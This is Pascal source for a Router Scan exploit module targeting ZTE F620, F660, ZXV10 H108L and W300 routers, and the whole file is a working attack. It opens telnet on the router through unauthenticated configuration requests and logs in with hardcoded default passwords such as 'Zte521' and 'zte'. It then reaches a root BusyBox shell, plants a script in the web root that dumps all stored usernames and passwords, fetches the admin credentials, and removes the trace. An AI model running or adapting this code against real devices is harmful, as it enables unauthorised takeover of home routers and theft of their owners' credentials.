// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://habrahabr.ru/post/188454/

function TRouter.Exploit_ZTETelnetRoot(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  C: TClientSocket;
  A, Req, Buf: AnsiString;
  Len: Integer;
  StrOut: AnsiString;
  AdvMode: Boolean;
  procedure OpenTelnetPort;
  var
    Code: Integer;
    SList: TStringList;
  begin
    SList := TStringList.Create;
    SList.Add('IF_ERRORSTR=SUCC');
    SList.Add('IF_ERRORPARAM=SUCC');
    SList.Add('ViewName=NULL');
    SList.Add('Enable=1');
    SList.Add('INCViewName=IGD.WANIF');
    SList.Add('INCName=WAN');
    SList.Add('MinSrcIp=0.0.0.0');
    SList.Add('MinSrcMask=NULL');
    SList.Add('MaxSrcIp=0.0.0.0');
    SList.Add('FilterTarget=1');
    SList.Add('Servise=73');
    SList.Add('IF_ACTION=new');
    SList.Add('IF_INDEX=-1');
    SList.Add('IF_INSTNUM=0');
    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/sec_sc_t.gch',
    SList, S, Code, 8, 0, ServerName, False, '', '');
    SList.Free;
  end;
  procedure OpenTelnetPortAdv;
  var
    Code: Integer;
    SList: TStringList;
  begin
    SList := TStringList.Create;
    SList.Add('ViewName=NULL');
    SList.Add('WANCViewName=IGD.WD1.WCD1.WCIP1');
    SList.Add('WANCName=NULL');
    SList.Add('Enable=1');
    SList.Add('Protocol=0');
    SList.Add('Name=Telnet');
    SList.Add('MinExtPort=1023');
    SList.Add('MaxExtPort=1023');
    SList.Add('InternalHost=192.168.1.1');
    SList.Add('MinIntPort=23');
    SList.Add('MaxIntPort=23');
    SList.Add('Description=NULL');
    SList.Add('LeaseDuration=NULL');
    SList.Add('PortMappCreator=NULL');
    SList.Add('MinRemoteHost=0.0.0.0');
    SList.Add('MaxRemoteHost=0.0.0.0');
    SList.Add('InternalMacHost=NULL');
    SList.Add('MacEnable=0');
    SList.Add('IF_ACTION=new');
    SList.Add('IF_ERRORSTR=SUCC');
    SList.Add('IF_ERRORPARAM=SUCC');
    SList.Add('IF_ERRORTYPE=-1');
    SList.Add('IF_INDEX=-1');
    SList.Add('IF_INSTNUM=1');
    SList.Add('ViewName0=IGD.WD1.WCD1.WCIP1.FWPM1');
    SList.Add('WANCViewName0=IGD.WD1.WCD1.WCIP1');
    SList.Add('WANCName0=omci_ipv4_dhcp_1');
    SList.Add('Enable0=1');
    SList.Add('Protocol0=0');
    SList.Add('Name0=Web');
    SList.Add('MinExtPort0=1080');
    SList.Add('MaxExtPort0=1080');
    SList.Add('InternalHost0=192.168.1.1');
    SList.Add('MinIntPort0=80');
    SList.Add('MaxIntPort0=80');
    SList.Add('Description0=');
    SList.Add('LeaseDuration0=0');
    SList.Add('PortMappCreator0=');
    SList.Add('MinRemoteHost0=0.0.0.0');
    SList.Add('MaxRemoteHost0=0.0.0.0');
    SList.Add('InternalMacHost0=00:00:00:00:00:00');
    SList.Add('MacEnable0=0');
    SList.Add('WANCName0=');
    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/app_virtual_conf_t.gch',
    SList, S, Code, 8, 0, ServerName, False, '', '');
    SList.Free;
  end;
  procedure GetAdminPassword;
  var
    Code: Integer;
  begin
    if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/test_gch.gch',
    S, Code, 8, 0, ServerName, False, '', '') then begin
      AuthUser := DeleteBetween(DeleteBetween(S, '<User ID="0" ', '/>'), 'Username="', '" ');
      AuthPass := DeleteBetween(DeleteBetween(S, '<User ID="0" ', '/>'), 'Password="', '" ');
      if (AuthUser <> '') or (AuthPass <> '') then
        Exploit_ZTETelnetRoot := True;
    end;
  end;
  function TelnetWaitString(SS: Array of AnsiString; TimeoutSec: Integer;
    var StrOut: AnsiString): Boolean;
  var
    I: Integer;
  begin
    Result := False;
    for I := 0 to Length(SS) - 1 do
      if Pos(SS[I], A) > 0 then begin
        Result := True;
        StrOut := SS[I];
        Exit;
      end;
    while (TimeoutSec > 0) and (not Terminated) do begin
      Len := C.Socket.ReceiveLength;
      if Len > 0 then begin
        SetLength(Buf, Len);
        C.Socket.ReceiveBuf(Buf[1], Len);
        A := A + Buf;
        for I := 0 to Length(SS) - 1 do
          if Pos(SS[I], A) > 0 then begin
            Result := True;
            StrOut := SS[I];
            Exit;
          end;
      end;
      Sleep(1000);
      Dec(TimeoutSec);
    end;
  end;
  procedure ZTE_CLI;
  begin
    if not TelnetWaitString(['Username:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', '% Bad username!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad username!' then
      Exit;
    A := '';
    Req := 'public'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad password!' then begin
      A := '';
      Req := 'root'#13#10;
      C.Socket.SendBuf(Req[1], Length(Req));
      if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
        Exit;
      if StrOut = '% Bad password!' then begin
        A := '';
        Req := 'Zte521'#13#10;
        C.Socket.SendBuf(Req[1], Length(Req));
        if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
          Exit;
        if StrOut = '% Bad password!' then
          Exit;
      end;
    end;
    A := '';
    Req := 'enable'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'zte'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['CLI#', '% Bad password!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad password!' then
      Exit;
    A := '';
    Req := 'sh'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Login:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'User name is incorrect' then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'Password is incorrect' then
      Exit;
    A := '';
    Req := 'mount -t tmpfs -o size=8k,mode=0777 tmpfs /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'cd /home/httpd/'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'echo \<% var FP_OBJNAME, FP_INSTNUM, FP_HANDLE, FP_IDENTITY\; '+
    'FP_OBJNAME = \"OBJ_USERINFO_ID\"\; FP_INSTNUM = query_list\(FP_OBJNAME, '+
    '\"IGD\"\)\; for\(var i = 0\; i \< FP_INSTNUM\; i++\) { '+
    'FP_HANDLE = create_paralist\(\)\; FP_IDENTITY = query_identity\(i\)\; '+
    'get_inst\(FP_HANDLE, FP_OBJNAME, FP_IDENTITY\)\; '+
    '=\"\<User ID\=\\\"\"+i+\"\\\"\"\; =\" Type=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Type\"\)+\"\\\"\"\; =\" Enable=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Enable\"\)+\"\\\"\"\; =\" Username=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Username\"\)+\"\\\"\"\; =\" Password=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Password\"\)+\"\\\"\"\; =\" Right=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Right\"\)+\"\\\"\"\; =\"/\>\\n\"\; '+
    'destroy_paralist\(FP_HANDLE\)\; } %\> > test_gch.gch'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    GetAdminPassword;
    A := '';
    Req := 'cd /'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'umount /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'exit'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
  end;
  procedure ZTE_F660;
  begin
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'User name is incorrect' then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'Password is incorrect' then begin
      A := '';
      Req := 'Zte521'#13#10;
      C.Socket.SendBuf(Req[1], Length(Req));
      if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
        Exit;
      if StrOut = 'Password is incorrect' then
        Exit;
    end;
    A := '';
    Req := 'mount -t tmpfs -o size=8k,mode=0777 tmpfs /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'cd /home/httpd/'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'echo \<% var FP_OBJNAME, FP_INSTNUM, FP_HANDLE, FP_IDENTITY\; '+
    'FP_OBJNAME = \"OBJ_USERINFO_ID\"\; FP_INSTNUM = query_list\(FP_OBJNAME, '+
    '\"IGD\"\)\; for\(var i = 0\; i \< FP_INSTNUM\; i++\) { '+
    'FP_HANDLE = create_paralist\(\)\; FP_IDENTITY = query_identity\(i\)\; '+
    'get_inst\(FP_HANDLE, FP_OBJNAME, FP_IDENTITY\)\; '+
    '=\"\<User ID\=\\\"\"+i+\"\\\"\"\; =\" Type=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Type\"\)+\"\\\"\"\; =\" Enable=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Enable\"\)+\"\\\"\"\; =\" Username=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Username\"\)+\"\\\"\"\; =\" Password=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Password\"\)+\"\\\"\"\; =\" Right=\\\"\"+'+
    'get_para\(FP_HANDLE,\"Right\"\)+\"\\\"\"\; =\"/\>\\n\"\; '+
    'destroy_paralist\(FP_HANDLE\)\; } %\> > test_gch.gch'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    GetAdminPassword;
    A := '';
    Req := 'cd /'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'umount /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'exit'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
  end;
begin
  // Affected:
  // ZTE F620
  // ZTE F660
  // ZTE ZXV10 H108L
  // ZTE ZXV10 W300
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if Pos('ZTE corp', ServerName) = 0 then
    Exit;
  OpenTelnetPort;
  Sleep(500);
  C := TClientSocket.Create(nil);
  LatestSock := C;
  C.Address := IPToStr(IP);
  C.Port := 23;
  C.ClientType := ctBlocking;
  AdvMode := False;

  try
    C.Open;
  except
    AdvMode := True;
  end;
  if AdvMode then begin
    OpenTelnetPortAdv;
    Sleep(500);
    C.Port := 1023;
    try
      C.Open;
    except
      LatestSock := nil;
      C.Free;
      Exit;
    end;
  end;
  A := '';
  if TelnetWaitString([
  'The connect number is limited',
  'Welcome to the world of CLI !',
  'Login: '
  ], 5, StrOut) then begin
    if StrOut = 'Welcome to the world of CLI !' then
      ZTE_CLI;
    if StrOut = 'Login: ' then
      ZTE_F660;
    if C.Active then
      C.Close;
    LatestSock := nil;
    C.Free;
    Exit;
  end;
end;
